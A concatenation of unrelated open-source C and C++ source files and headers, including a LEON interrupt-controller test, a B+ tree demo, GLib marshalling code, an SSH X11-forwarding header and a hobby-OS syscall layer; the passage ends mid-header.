lr->uartctrl1 = 0x0; /* clear uart1 ctrl */
lr->uartctrl2 = 0x0; /* clear uart2 ctrl */
lr->irqmask = 0x0; /* mask all interrupts */
lr->irqclear = -1; /* clear all pending interrupts */
irqtbl[0] = 1; /* init irqtable */
/* test that interrupts are properly prioritised */
lr->irqforce = 0x0fffe; /* force all interrupts */
if (lr->irqforce != 0x0fffe) fail(1); /* check force reg */
lr->irqmask = 0x0fffe; /* unmask all interrupts */
if (lr->irqmask != 0x0fffe) fail(2); /* check mask reg */
while (lr->irqforce) {}; /* wait until all iterrupts are taken */
/* check that all interrupts were take in right order */
if (irqtbl[0] != 16) fail(3);
for (i=1;i<16;i++) { if (irqtbl[i] != (0x20 - i)) fail(4);}
/* test priority of the two interrupt levels */
irqtbl[0] = 1; /* init irqtable */
lr->irqmask = 0xaaaafffe; /* odd irq -> level 1 */
if (lr->irqmask != 0xaaaafffe) fail(5); /* check mask reg */
lr->irqforce = 0x0fffe; /* force all interrupts */
while (lr->irqforce) {}; /* wait until all iterrupts are taken */
/* check that all interrupts were take in right order */
if (irqtbl[0] != 16) fail(6);
for (i=1;i<8;i++) { if (irqtbl[i] != (0x20 - (i*2-1)))
fail(7);}
for (i=2;i<8;i++) { if (irqtbl[i+8] != (0x20 - (i*2)))
fail(8);}
/* check interrupts of multi-cycle instructions */
marr[0] = 1; marr[1] = marr[0]+1; marr[2] = marr[1]+1;
a = marr[2]+1; marr[3] = a; larr[0] = 6;
lr->irqmask = 0x0; /* mask all interrupts */
irqtbl[0] = 1; /* init irqtable */
lr->irqmask = 0x00002; /* unmask interrupt */
if (lr->leonconf & 0x100) { /* check for HW mul */
lr->irqforce = 0x00002; /* force interrupt */
asm("
nop;
umul %g0, %g1, %g0
umul %g0, %g1, %g0
umul %g0, %g1, %g0
");
}
lr->irqforce = 0x00002; /* force interrupt */
asm("nop;");
larr[1] = larr[0];
if (larr[0] != 6) fail(10);
lr->irqforce = 0x00002; /* force interrupt */
asm("nop;");
larr[1] = 0;
if (larr[1] != 0) fail(11);
while (lr->irqforce) {}; /* wait until all iterrupts are taken */
/* check number of interrupts */
if (lr->leonconf & 0x100) { if (irqtbl[0] != 4) fail(13);}
else if (irqtbl[0] != 3) {fail(13);}
lr->irqmask = 0x0; /* mask all interrupts */
/* check that PSR.PIL work properly */
lr->irqforce = 0x0fffe; /* force all interrupts */
irqtbl[0] = 1; /* init irqtable */
psr = getpsr() | (15 << 8);
setpsr(psr); /* PIL = 15 */
lr->irqmask = -1; /* enable all interrupts */
while (!lr->irqmask); /* avoid compiler optimisation */
if (irqtbl[0] != 2) fail(14);
if (irqtbl[1] != 0x1f) fail(15);
setpsr(getpsr() - (1 << 8));
for (i=2;i<16;i++) {
setpsr(getpsr() - (1 << 8));
if (irqtbl[0] != i+1) fail(14);
if (irqtbl[i] != (0x20 - i)) fail(15);
}
/* test optional secondary interrupt controller */
/*
lr->irqmask = 0x0;
lr->imask2 = 0x0;
lr->ipend2 = 0x0;
lr->ipend2 = 0x1;
if (!lr->ipend2) return;
lr->ipend2 = -1;
lr->imask2 = -1;
for (i=lr->istat2 & 0x1f; i >=0; i--) {
if ((lr->istat2 & 0x1f) != i) fail (17+i);
lr->istat2 = (1 << i);
}
*/
}
|
/**
* vimb - a webkit based vim like browser.
*
* Copyright (C) 2012-2016 Daniel Carl
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see http://www.gnu.org/licenses/.
*/
#ifndef _HISTORY_H
#define _HISTORY_H
#include <glib.h>
#include "main.h"
typedef enum {
HISTORY_FIRST = 0,
HISTORY_COMMAND = 0,
HISTORY_SEARCH,
HISTORY_URL,
HISTORY_LAST
} HistoryType;
void history_add(Client *c, HistoryType type, const char *value, const char *additional);
void history_cleanup(void);
gboolean history_fill_completion(GtkListStore *store, HistoryType type, const char *input);
GList *history_get_list(VbInputType type, const char *query);
#endif /* end of include guard: _HISTORY_H */
|
/*
===========================================================================
Shadow of Dust GPL Source Code
Copyright (C) 1999-2011 id Software LLC, a ZeniMax Media company.
This file is part of the Shadow of Dust GPL Source Code ("Shadow of Dust Source Code").
Shadow of Dust Source Code is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Shadow of Dust Source Code is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Shadow of Dust Source Code. If not, see <http://www.gnu.org/licenses/>.
In addition, the Shadow of Dust Source Code is also subject to certain additional terms. You should have received a copy of these additional terms immediately following the terms and conditions of the GNU General Public License which accompanied the Shadow of Dust Source Code. If not, please request a copy in writing from id Software at the address below.
If you have questions concerning this license or the applicable additional terms, you may contact in writing id Software LLC, c/o ZeniMax Media Inc., Suite 120, Rockville, Maryland 20850 USA.
===========================================================================
*/
#ifndef GEKEYVALUEMODIFIER_H_
#define GEKEYVALUEMODIFIER_H_
#ifndef GEMODIFIER_H_
#include "GEModifier.h"
#endif
class rvGEKeyValueModifier : public rvGEModifier
{
public:
rvGEKeyValueModifier ( const char* name, idWindow* window, const char* key, const char* value );
virtual bool Apply ( void );
virtual bool Undo ( void );
virtual bool CanMerge ( rvGEModifier* merge );
virtual bool Merge ( rvGEModifier* merge );
protected:
idStr mKey;
idStr mValue;
idStr mUndoValue;
};
ID_INLINE bool rvGEKeyValueModifier::CanMerge ( rvGEModifier* merge )
{
return !((rvGEKeyValueModifier*)merge)->mKey.Icmp ( mKey );
}
#endif // GEKEYVALUEMODIFIER_H_ |
/*
* This file is part of the project HandTrackerApp - ht-illez
*
* Copyright (C) 2015 Amir Hammad <amir.hammad@hotmail.com>
*
*
* HandTrackerApp - ht-illez is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this library. If not, see <http://www.gnu.org/licenses/>.
*
*/
#pragma once
#include <opencv2/opencv.hpp>
#include "Types.h"
#include <QList>
#include <QVector>
namespace iez {
class HandTracker;
class PoseRecognition;
class HandTracker {
public:
explicit HandTracker();
~HandTracker();
/**
* @brief process
* @param bgr BGR formatted image
* @param depth Depth map of the same size as bgr
* @param imageId monotonically rising ID of current image
*/
void process(const cv::Mat &bgr, const cv::Mat &depth, const int imageId);
/**
* @brief data
* @return returns result of process
*/
class Data;
Data data() const;
class TemporaryResult;
TemporaryResult temporaryResult() const;
inline bool isDebug() const { return m_bDebug; }
private:
static inline void imshow(QString name, cv::Mat mat);
void distanceTransform(const cv::Mat &binaryHandFiltered, cv::Mat &handDT) const;
void findHandCenter(const cv::Mat &handDT, cv::Point &maxDTPoint) const;
float findHandCenterRadius(const cv::Point &maxDTPoint,
const std::vector<cv::Point> &contour) const;
void findPalm(cv::Mat &binaryPalmMask,
std::vector<cv::Point> &palmContour,
const cv::Mat &binaryHand,
const std::vector<cv::Point> &contour,
const cv::Point &palmCenter,
const float palmRadius) const;
bool findWrist(const std::vector<cv::Point> &palmContour,
const cv::Point &palmCenter,
const float palmRadius,
wristpair_t& outputWrist) const;
void findFingers(cv::Mat &binaryFingersMask,
std::vector<std::vector<cv::Point> > &fingersContours,
const cv::Mat &binaryHand,
const cv::Mat &palmMask) const;
QList<cv::Point> findFingertip(const cv::RotatedRect &rotRect,
const float palmRadius,
const cv::Point &palmCenter) const;
wristpair_t wristPairFix(cv::Point palmCenter, float palmRadius, cv::Point wristMiddle) const;
private:
static void orderFingertipsByAngle(wristpair_t wrist, QList<cv::Point> &fingertips);
public:
class Data {
public:
Data(){}
void setWrist(wristpair_t wrist);
wristpair_t wrist() const;
void setFingertips(QList<cv::Point> fingertips);
QList<cv::Point> fingertips() const;
cv::Point palmCenter() const;
void setPalmCenter(const cv::Point &palmCenter);
float palmRadius() const;
void setPalmRadius(float palmRadius);
private:
cv::Point m_palmCenter;
float m_palmRadius;
wristpair_t m_wrist;
QList<cv::Point> m_fingertips;
};
class TemporaryResult {
public:
cv::Mat originalColor;
cv::Mat originalDepth;
cv::Mat depthMaskedImage;
QList<cv::Mat> medianList;
cv::Mat distanceTransform;
cv::Mat handMask;
std::vector<cv::Point> handContour;
float palmRadius;
cv::Point palmCenter;
cv::Mat palmMask;
std::vector<cv::Point> palmContour;
QList<std::vector<cv::Point> > fingerContoursIgnoredList;
cv::Mat fingersMask;
std::vector<std::vector<cv::Point> > fingersContours;
QList<cv::Point> fingertipsNonSorted;
cv::Mat result;
QVector<double> fingertipsNormalized;
};
private:
Data m_data;
bool m_bDebug;
mutable TemporaryResult m_temp;
long m_lastImageId;
};
}
|
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
/*
* media-common.h
* Copyright (C) 2017 Watson Xu <xuhuashan@gmail.com>
*
* live-streamer is free software: you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* live-streamer is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef _MEDIA_COMMON_H_
#define _MEDIA_COMMON_H_
#include <string>
#include <dbus-c++/dbus.h>
typedef DBus::ErrorFailed IpcamError;
namespace Ipcam {
namespace Media {
extern const char *property_not_implemented;
extern const char *interface_not_implemented;
class Resolution
{
public:
Resolution(uint32_t w, uint32_t h);
Resolution(std::string dimension);
operator std::string ();
uint32_t width() const { return _width; }
uint32_t height() const { return _height; }
bool valid() const { return (_width > 0) && (_height > 0); }
bool operator == (const Resolution& r) const {
return (r._width == _width) && (r._height == _height);
}
bool operator != (const Resolution& r) const {
return (r._width != _width) || (r._height != _height);
}
private:
uint32_t _width;
uint32_t _height;
};
struct Position {
int x;
int y;
Position(int x, int y) : x(x), y(y) {}
};
struct Size {
uint32_t w;
uint32_t h;
Size(uint32_t w, uint32_t h) : w(w), h(h) {}
};
} // namespace Media
} // namespace Ipcam
#endif // _MEDIA_COMMON_H_
|
#include <glib-object.h>
#ifdef G_ENABLE_DEBUG
#define g_marshal_value_peek_boolean(v) g_value_get_boolean (v)
#define g_marshal_value_peek_char(v) g_value_get_schar (v)
#define g_marshal_value_peek_uchar(v) g_value_get_uchar (v)
#define g_marshal_value_peek_int(v) g_value_get_int (v)
#define g_marshal_value_peek_uint(v) g_value_get_uint (v)
#define g_marshal_value_peek_long(v) g_value_get_long (v)
#define g_marshal_value_peek_ulong(v) g_value_get_ulong (v)
#define g_marshal_value_peek_int64(v) g_value_get_int64 (v)
#define g_marshal_value_peek_uint64(v) g_value_get_uint64 (v)
#define g_marshal_value_peek_enum(v) g_value_get_enum (v)
#define g_marshal_value_peek_flags(v) g_value_get_flags (v)
#define g_marshal_value_peek_float(v) g_value_get_float (v)
#define g_marshal_value_peek_double(v) g_value_get_double (v)
#define g_marshal_value_peek_string(v) (char*) g_value_get_string (v)
#define g_marshal_value_peek_param(v) g_value_get_param (v)
#define g_marshal_value_peek_boxed(v) g_value_get_boxed (v)
#define g_marshal_value_peek_pointer(v) g_value_get_pointer (v)
#define g_marshal_value_peek_object(v) g_value_get_object (v)
#define g_marshal_value_peek_variant(v) g_value_get_variant (v)
#else /* !G_ENABLE_DEBUG */
/* WARNING: This code accesses GValues directly, which is UNSUPPORTED API.
* Do not access GValues directly in your code. Instead, use the
* g_value_get_*() functions
*/
#define g_marshal_value_peek_boolean(v) (v)->data[0].v_int
#define g_marshal_value_peek_char(v) (v)->data[0].v_int
#define g_marshal_value_peek_uchar(v) (v)->data[0].v_uint
#define g_marshal_value_peek_int(v) (v)->data[0].v_int
#define g_marshal_value_peek_uint(v) (v)->data[0].v_uint
#define g_marshal_value_peek_long(v) (v)->data[0].v_long
#define g_marshal_value_peek_ulong(v) (v)->data[0].v_ulong
#define g_marshal_value_peek_int64(v) (v)->data[0].v_int64
#define g_marshal_value_peek_uint64(v) (v)->data[0].v_uint64
#define g_marshal_value_peek_enum(v) (v)->data[0].v_long
#define g_marshal_value_peek_flags(v) (v)->data[0].v_ulong
#define g_marshal_value_peek_float(v) (v)->data[0].v_float
#define g_marshal_value_peek_double(v) (v)->data[0].v_double
#define g_marshal_value_peek_string(v) (v)->data[0].v_pointer
#define g_marshal_value_peek_param(v) (v)->data[0].v_pointer
#define g_marshal_value_peek_boxed(v) (v)->data[0].v_pointer
#define g_marshal_value_peek_pointer(v) (v)->data[0].v_pointer
#define g_marshal_value_peek_object(v) (v)->data[0].v_pointer
#define g_marshal_value_peek_variant(v) (v)->data[0].v_pointer
#endif /* !G_ENABLE_DEBUG */
/* VOID:INT,INT (./status-provider-pidgin.list:1) */
void
_status_provider_pidgin_marshal_VOID__INT_INT (GClosure *closure,
GValue *return_value G_GNUC_UNUSED,
guint n_param_values,
const GValue *param_values,
gpointer invocation_hint G_GNUC_UNUSED,
gpointer marshal_data)
{
typedef void (*GMarshalFunc_VOID__INT_INT) (gpointer data1,
gint arg_1,
gint arg_2,
gpointer data2);
register GMarshalFunc_VOID__INT_INT callback;
register GCClosure *cc = (GCClosure*) closure;
register gpointer data1, data2;
g_return_if_fail (n_param_values == 3);
if (G_CCLOSURE_SWAP_DATA (closure))
{
data1 = closure->data;
data2 = g_value_peek_pointer (param_values + 0);
}
else
{
data1 = g_value_peek_pointer (param_values + 0);
data2 = closure->data;
}
callback = (GMarshalFunc_VOID__INT_INT) (marshal_data ? marshal_data : cc->callback);
callback (data1,
g_marshal_value_peek_int (param_values + 1),
g_marshal_value_peek_int (param_values + 2),
data2);
}
|
#include<stdio.h>
#include<stdlib.h>
#include"bplus.records.h"
void menu()
{
printf("\n 0. Menu 1. Insert Entry 2. Display Records 3. Search from B+ Tree 4. Save to display with Dotty\n");
}
/*int main()
{
int choice, l = 0;
BPLUS t = NULL;
RECORD head = (RECORD)malloc(sizeof (struct record));
RECORD temp = NULL;
FILE *fp = fopen("inputArgs", "w+");
head->info = 0;
head->number = 0;
menu();
do
{
printf("\nEnter choice: ");
scanf("%d", &choice);
switch(choice)
{
case 0: menu(); break;
case 1: head = (RECORD)insertEntry(head, &t, fp); break;
case 2: displayRecords(head); break;
case 3: printf("\nEnter info to search records using B+ Tree: ");
scanf("%d", &choice);
temp = (RECORD)find(t, choice);
if (temp == NULL)
printf("\nRecord not found!\n");
else
printf("Number: %d\nInfo: %d\n", temp->number, temp->info); break;
case 4: dispBPInDotty(t); break;
case 5: dispBP(t); break;
default:l = 1;
}
}
while (l == 0);
return 0;
}*/
RECORD insertRecords(int n, RECORD head, BPLUS *t)
{
int i;
FILE *fp = fopen("input", "w");
// printf("Size is %d.\n", SIZE);
// printf("\nEnter number of elements to generate: ");
// scanf("%d", &n);
srand((int)time(NULL));
for (i = 0; i < n; i++)
{
// printf("Inserting %d element", i + 1);
head = (RECORD)insertEntry(head, t, fp);
}
printf("%d records entered successfully.\n", i);
return head;
}
int main(int argc, char **argv)
{
int n;
BPLUS t = NULL;
RECORD head = (RECORD)malloc(sizeof (struct record));
RECORD temp = NULL;
head->info = 0;
head->number = 0;
// lex (argc, argv);
if (SIZE <= 1)
{
printf ("Impossible node structure!\n");
exit (0);
}
if (!DEBUG)
{
if (argc != 2)
{
printf("Usage: %s (no. of elements).\n", argv[0]);
exit(0);
}
else
n = atoi(argv[1]);
}
else
n = 65; // for input with file `inputArgs' containing 65 entries
// in DEBUG phase
printf ("Size: %d\n", SIZE);
system ("rm *.dot *.ps");
printf("Number of elements: %d.\n", n);
head = (RECORD)insertRecords(n, head, &t);
printf("%d unique entries in record.\n", head->number);
printf ("Generating graph...\n");
dispBPInDotty(t);
// displayRecords(head);
free (head);
free (t);
return 0;
}
|
/**************************************************************************
* This file is part of the Transmogrify library. *
* Copyright (C) 2010 Pim Schellart <P.Schellart@astro.ru.nl> *
* *
* This library is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* *
* This library is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this library. If not, see <http://www.gnu.org/licenses/>. *
**************************************************************************/
#ifndef __TMF_EPOCH_H__
#define __TMF_EPOCH_H__
#include <tmf.h>
/*!
\brief Convert equatorial coordinates from epoch J2000 to B1950
Rotation matrix derived from equation 14.55 and the problem 14.6 in
Spherical Astronomy by Robin M. Green
Cambridge University Press 1985
ISBN 0-521-31779-7
\param alpha_B right ascension reffered to the B1950 standard epoch
\param delta_B declination reffered to the B1950 standard epoch
\param alpha_J right ascension reffered to the J2000 standard epoch
\param delta_J declination reffered to the J2000 standard epoch
*/
void tmf_j20002b1950(real_t* alpha_B, real_t* delta_B,
const real_t alpha_J, const real_t delta_J);
/*!
\brief Convert equatorial coordinates from epoch B1950 to J2000
Rotation matrix derived from equation 14.55 and the problem 14.6 in
Spherical Astronomy by Robin M. Green
Cambridge University Press 1985
ISBN 0-521-31779-7
\param alpha_J right ascension reffered to the J2000 standard epoch
\param delta_J declination reffered to the J2000 standard epoch
\param alpha_B right ascension reffered to the B1950 standard epoch
\param delta_B declination reffered to the B1950 standard epoch
*/
void tmf_b19502j2000(real_t* alpha_J, real_t* delta_J,
const real_t alpha_B, const real_t delta_B);
#endif // __TMF_EPOCH_H__
|
// <osiris_sps_source_header>
// This file is part of Osiris Serverless Portal System.
// Copyright (C)2005-2012 Osiris Team (info@osiris-sps.org) / http://www.osiris-sps.org )
//
// Osiris Serverless Portal System is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Osiris Serverless Portal System is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Osiris Serverless Portal System. If not, see <http://www.gnu.org/licenses/>.
// </osiris_sps_source_header>
#ifndef _IOMLCODE_H
#define _IOMLCODE_H
#include "base/object.h"
#include "ideide.h"
#include "portalsportals.h"
//////////////////////////////////////////////////////////////////////
OS_NAMESPACE_BEGIN()
//////////////////////////////////////////////////////////////////////
class OMLContext;
class OMLItem;
//////////////////////////////////////////////////////////////////////
class EngineExport IOMLCode : public Object
{
// Construction
public:
IOMLCode(const String& tag);
virtual ~IOMLCode();
// Attributes
public:
inline String getTag() const;
// Operations
public:
static String extractProtocol(const String &url);
//String extractObjectId(const String &url) const;
void mapDefaultParamTo(shared_ptr<OMLItem> i, const String ¶mName) const;
void removeTag(shared_ptr<OMLItem> i, const String &tag, const bool recursive) const;
bool allowedParentTags(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String &tags) const;
void allowedChildsTags(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String &tags) const;
void removeTextSpacer2(shared_ptr<OMLItem> i, const bool recursive, const bool alsoBR) const;
void removeBR(shared_ptr<OMLItem> i) const;
void removeChilds(shared_ptr<OMLItem> i) const;
static String getText(shared_ptr<OMLContext> context, const String &id);
// Funzioni per controllare il testo da renderizzare, per evitare injection
// Pulizia/controllo URL
static String cleanUrl(shared_ptr<OMLContext> context, const String& url);
// Encoding html estesa
static String encode(shared_ptr<OMLContext> context, const String& text);
// Da chiamare se la destinazione è un parametro di una funzione javascript
static String encodeToJavascriptString(shared_ptr<OMLContext> context, const String& text);
// Da chiamare se la destinazione è un'unità di misura
static String encodeToMeasure(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& text);
// Da chiamare se la destinazione è in un attributo style
static String encodeToCss(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& text);
// Da chiamare se la destinazione è un valore di un attributo html
static String encodeToAttribute(shared_ptr<OMLContext> context, const String& text);
// Da chiamare se la destinazione sono dei parametri GET di un'url
static String encodeToUrlGet(shared_ptr<OMLContext> context, const String& text);
// Da chiamare se la destinazione è come testo tra tags
static String encodeBody(shared_ptr<OMLContext> context, const String& text, bool postProcess, bool preserveStartLineSpaces = false, bool convertCR = true);
// Da chiamare se il sorgente è un url ad un'immagine, video, risorsa osiris://|file|
static String encodeResourceUrl(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& href);
static String encodeResourceUrlEx(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& href, String& entityID);
// Da chiamare se il sorgente è un url
//static String encodeUrl(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& href, OMLRenderUrlDestination& destination, bool onlyExternalWithoutConfirm);
static String encodeUrl(shared_ptr<OMLContext> context, shared_ptr<OMLItem> i, const String& href, OMLRenderUrlDestination destination, bool onlyExternalWithoutConfirm);
// Da chiamare se il sorgente è un sotto-oml
static String encodeOML(shared_ptr<OMLContext> context, const String& text);
virtual String processOsml(shared_ptr<OMLItem> i, shared_ptr<OMLContext> context) const;
// Interface
public:
virtual bool allowRowMode() const;
virtual String processHtml(shared_ptr<OMLItem> i, shared_ptr<OMLContext> context) const = 0;
// Private:
String m_tag;
};
//////////////////////////////////////////////////////////////////////
inline String IOMLCode::getTag() const { return m_tag; }
//////////////////////////////////////////////////////////////////////
OS_NAMESPACE_END()
//////////////////////////////////////////////////////////////////////
#endif // _IOMLCODE_H
|
/************************************* open_iA ************************************ *
* ********** A tool for visual analysis and processing of 3D CT images ********** *
* *********************************************************************************** *
* Copyright (C) 2016-2021 C. Heinzl, M. Reiter, A. Reh, W. Li, M. Arikan, Ar. & Al. *
* Amirkhanov, J. Weissenböck, B. Fröhler, M. Schiwarth, P. Weinberger *
* *********************************************************************************** *
* This program is free software: you can redistribute it and/or modify it under the *
* terms of the GNU General Public License as published by the Free Software *
* Foundation, either version 3 of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, but WITHOUT ANY *
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A *
* PARTICULAR PURPOSE. See the GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License along with this *
* program. If not, see http://www.gnu.org/licenses/ *
* *********************************************************************************** *
* Contact: FH OÖ Forschungs & Entwicklungs GmbH, Campus Wels, CT-Gruppe, *
* Stelzhamerstraße 23, 4600 Wels / Austria, Email: c.heinzl@fh-wels.at *
* ************************************************************************************/
#pragma once
#include <iAValueType.h>
#include <QWidget>
class iAFilterChart;
class iANameMapper;
class iAParamHistogramData;
class iAPlot;
class QCheckBox;
class QLabel;
class iAClusterAttribChart: public QWidget
{
Q_OBJECT
public:
iAClusterAttribChart(QString const & caption, int id, QSharedPointer<iAParamHistogramData> data,
QSharedPointer<iANameMapper> nameMapper);
void SetFilteredData(QSharedPointer<iAParamHistogramData> data);
void SetFilteredClusterData(QSharedPointer<iAParamHistogramData> data);
void RemoveFilterData();
void AddClusterData(QSharedPointer<iAParamHistogramData> data);
void ClearClusterData();
void SetMarker(double xPos);
void RemoveMarker();
size_t GetNumBin() const;
int GetID() const;
iAValueType GetRangeType() const;
double GetMaxYValue() const;
void SetMaxYAxisValue(double val);
void SetSpanValues(double minValue, double maxValue);
void ResetSpan();
double mapValueToBin(double value) const;
void SetBinColor(int bin, QColor const & color);
void UpdateChart();
void ResetMaxYAxisValue();
signals:
void Toggled(bool);
void FilterChanged(double min, double max);
void ChartDblClicked();
private slots:
void SelectionChanged();
private:
void SetAdditionalDrawer(QSharedPointer<iAPlot>& drawer, QSharedPointer<iAPlot> newDrawer);
QColor GetClusterColor(int nr) const;
iAFilterChart* m_charts;
QCheckBox* m_checkbox;
int m_ID;
QVector<QSharedPointer<iAPlot> > m_clusterDrawer;
QSharedPointer<iAPlot> m_filteredDrawer;
QSharedPointer<iAPlot> m_filteredClusterDrawer;
int m_oldMin;
int m_oldMax;
QSharedPointer<iAParamHistogramData> m_filteredClusterData;
};
|
////////////////////////////////////////////////////////////////////////////
// Atol file manager project <http://atol.sf.net>
//
// This code is licensed under BSD license.See "license.txt" for more details.
//
// File: TOFIX
////////////////////////////////////////////////////////////////////////////
#ifndef _X11FWD_H_INCLUDED
#define _X11FWD_H_INCLUDED
char *x11_init(CSshSession &session, Socket *, char *, void *);
void x11_close(CSshSession &session, Socket);
int x11_send(CSshSession &session, Socket, char *, int);
void x11_invent_auth(char *, int, char *, int);
void x11_unthrottle(CSshSession &session, Socket s);
void x11_override_throttle(CSshSession &session, Socket s, int enable);
#endif //_X11FWD_H_INCLUDED |
#include <syscalls.h>
#ifdef __KERNEL__
#include <common.h>
#include <idt.h>
#include <loader.h>
#include <mm.h>
#include <vga.h>
#include <kbd.h>
#include <debug.h>
#include <fs.h>
#include <device.h>
#include <pipe.h>
static void syscalls_handler(registers_t*);
void syscalls_init() {
idt_register(SYS_INT, syscalls_handler, PL_USER);
}
static void syscalls_handler(registers_t* regs) {
// Syscall number is in EAX
switch (regs->eax) {
case SYS_GETPID:
regs->eax = getpid();
break;
case SYS_PALLOC:
regs->eax = (uint_32) palloc();
break;
case SYS_EXIT:
exit();
break;
case SYS_PRINT:
print(regs);
break;
case SYS_LOCPRINT:
loc_print(regs);
break;
case SYS_LOCPRINTALPHA:
loc_print_alpha(regs);
break;
case SYS_SLEEP:
sleep(regs);
break;
case SYS_OPEN:
regs->eax = open((const char*) regs->ebx, (uint_32) regs->ecx);
break;
case SYS_CLOSE:
regs->eax = close((int) regs->ebx);
break;
case SYS_READ:
regs->eax = read((int) regs->ebx, (void*) regs->ecx, regs->edx);
break;
case SYS_WRITE:
regs->eax = write((int) regs->ebx, (const void*) regs->ecx, regs->edx);
break;
case SYS_SEEK:
regs->eax = seek((int) regs->ebx, regs->ecx);
break;
case SYS_RUN:
regs->eax = run((const char*) regs->ebx);
break;
case SYS_FORK:
regs->eax = fork();
break;
case SYS_PIPE:
regs->eax = pipe((sint_32*) regs->ebx);
break;
case SYS_SHARE_PAGE:
regs->eax = share_page((void*) regs->ebx);
break;
default:
vga_printf("Invalid system call! Exited");
exit();
break;
}
return;
}
#else // __TASK__
extern void* syscall_int(int number);
uint_32 getpid() {
uint_32 res;
__asm __volatile("int $0x30" : "=a"(res) : "0"(SYS_GETPID));
return res;
}
void exit() {
__asm __volatile("int $0x30" : : "a"(SYS_EXIT));
}
void* palloc() {
void* res;
__asm __volatile("int $0x30" : "=a"(res) : "0"(SYS_PALLOC));
return res;
}
int printf(const char* format, ...) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_PRINT));
return ret;
}
int loc_printf(uint_32 row, uint_32 col, const char* format, ...) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_LOCPRINT));
return ret;
}
int loc_alpha_printf(uint_32 row, uint_32 col, const char* format, ...) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_LOCPRINTALPHA));
return ret;
}
void sleep(uint_32 time) {
__asm __volatile("int $0x30" : : "a"(SYS_SLEEP));
}
/* Devices */
int open(const char* filename, uint_32 flags) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_OPEN), "b" (filename), "c" (flags));
return ret;
}
int close(int fd) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_CLOSE), "b" (fd));
return ret;
}
int read(int fd, void* buf, uint_32 size) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_READ), "b" (fd), "c" (buf), "d" (size));
return ret;
}
int write(int fd, const void* buf, uint_32 size) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_WRITE), "b" (fd), "c" (buf), "d" (size));
return ret;
}
int seek(int fd, uint_32 size) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_SEEK), "b" (fd), "c" (size));
return ret;
}
sint_32 run(const char* filename) {
uint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_RUN), "b" (filename));
return ret;
}
sint_32 fork() {
uint_32 ret;
__asm __volatile("\
push %%ebx; \
push %%ecx; \
push %%edx; \
push %%esi; \
push %%edi; \
push %%ebp; \
int $0x30; \
pop %%ebp; \
pop %%edi; \
pop %%esi; \
pop %%edx; \
pop %%ecx; \
pop %%ebx"
: "=a"(ret) : "0"(SYS_FORK));
return ret;
}
sint_32 pipe(sint_32 pipes[2]) {
sint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_PIPE), "b" (pipes));
return ret;
}
sint_32 share_page(void* addr) {
sint_32 ret;
__asm __volatile("int $0x30" : "=a"(ret) : "0"(SYS_SHARE_PAGE), "b" (addr));
return ret;
}
#endif
|
#ifndef _IMU_H
#define _IMU_H
#include "vector.h"
class IMU {
public:
// Scaled readings
virtual vector readMag() = 0; // In body coords, scaled to -1..1 range
virtual vector readAcc() = 0; // In body coords, with units = g
